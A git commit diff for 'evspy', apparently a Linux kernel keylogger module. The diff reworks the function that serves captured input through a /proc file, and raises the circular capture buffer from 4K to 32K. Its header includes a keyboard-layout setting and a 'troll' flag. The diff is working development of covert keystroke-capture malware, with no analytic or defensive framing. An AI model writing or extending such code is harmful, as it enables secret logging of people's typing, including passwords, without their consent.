Modified read-from-proc function (temp commit)

2 files changed, 9 insertions, 9 deletions

diff --git a/evspy-core.c b/evspy-core.c
index 650015e..b0c0d4b 100644
--- a/evspy-core.c
+++ b/evspy-core.c
@@ -50,12 +50,12 @@ static int evspy_read_proc(char *page, char **start, off_t offset, int count,
 		return -EPERM;
 #endif
 	} else {		// copy fifo contents to the supplied buffer
-		n = kfifo_out(&cbuffer, page, count);
-
-		if (kfifo_is_empty(&cbuffer))
+		if (offset > 0) {
 			*eof = 1;
-
-		return n;
+			return 0;
+		} else {
+			return kfifo_out(&cbuffer, page, min((int)PAGE_SIZE, count));
+		}
 	}
 }
 
diff --git a/evspy.h b/evspy.h
index eeaa0fc..3621cba 100644
--- a/evspy.h
+++ b/evspy.h
@@ -41,10 +41,10 @@
 #define EVS_KLAY_EN		0
 #define EVS_KLAY_ES		1
 
-#define EVS_NAME		"evspy"				// driver name
-#define EVS_KLAY		EVS_KLAY_ES			// change this to your keyboard layout
-#define EVS_TROLL		1					// clear this if you're a serious guy
-#define EVS_BUFSIZE		PAGE_SIZE			// size of the circular buffer (4K)
+#define EVS_NAME		"evspy"			// driver name
+#define EVS_KLAY		EVS_KLAY_ES		// change this to your keyboard layout
+#define EVS_TROLL		1				// clear this if you're a serious guy
+#define EVS_BUFSIZE		(1<<15) // 32K	// size of the circular buffer
 #define EVS_PROCNAME	"driver/" EVS_NAME	// virtual file within /proc
 
 #include "maps/maps.h"